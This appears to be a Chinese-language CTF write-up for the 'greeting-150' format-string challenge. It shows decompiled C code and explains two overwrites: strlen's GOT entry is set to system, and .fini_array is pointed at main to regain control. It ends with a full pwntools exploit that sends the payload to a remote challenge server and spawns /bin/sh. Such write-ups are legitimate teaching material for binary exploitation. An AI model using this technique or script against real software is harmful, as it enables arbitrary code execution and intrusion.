格式化字符串漏洞,main函数中逻辑写的很清晰:
void main(void)
{
int iVar1;
int in_GS_OFFSET;
char local_94 [64];
undefined local_54 [64];
int local_14;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
printf("Please tell me your name... ");
iVar1 = getnline(local_54,0x40);
if (iVar1 == 0) {
puts("Don\'t ignore me ;( ");
}
else {
sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
printf(local_94);
}
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail();
}
return;
}
可做任意地址写,再看getnline函数逻辑:
void getnline(char *param_1,int param_2)
{
char *pcVar1;
fgets(param_1,param_2,stdin);
pcVar1 = strchr(param_1,10);
if (pcVar1 != (char *)0x0) {
*pcVar1 = '\0';
}
strlen(param_1);
return;
}
strlen函数使用的很奇怪,可以考虑把got表中strlen位置改为system函数的地址,这时控制流需要回到main函数中去,所以格式化字符串任意写需要完成两件事:写strlen的got表为system,让控制流回到main。
这题还考察了fini_array的使用,elf格式的可执行文件执行在main函数前执行.init段的指令,终止前执行.fini段的指令,可参考init and fini section。fini_array使用的优先级高于fini段,其中包含了程序结束前需要执行函数的地址,并且倒序执行,参考When will the .fini_array section being used?,改变控制流只需要在fini_array中写入main函数地址。
找完offset后可以写exp,在offset前需要填入2bytes以对齐:
from pwn import *
context(log_level="debug", arch="i386", os="linux")
elf = ELF("./greeting-150")
# r = process("./greeting-150")
r = remote("111.200.241.244", 56542)
fini_array = 0x8049934
payload = b'BB' + p32(fini_array) + p32(elf.got["strlen"])
payload += "%{}c".format(0xed - len(payload) - 0x12).encode("utf-8") + b"%12$hhn"
# 0x12 is 'Nice to meet you, '
payload += "%{}c".format(elf.plt["system"] - 0xed).encode("utf-8") + b"%13$n"
r.recvuntil(b"Please tell me your name... ")
r.sendline(payload)
r.sendline(b"/bin/sh")
r.interactive()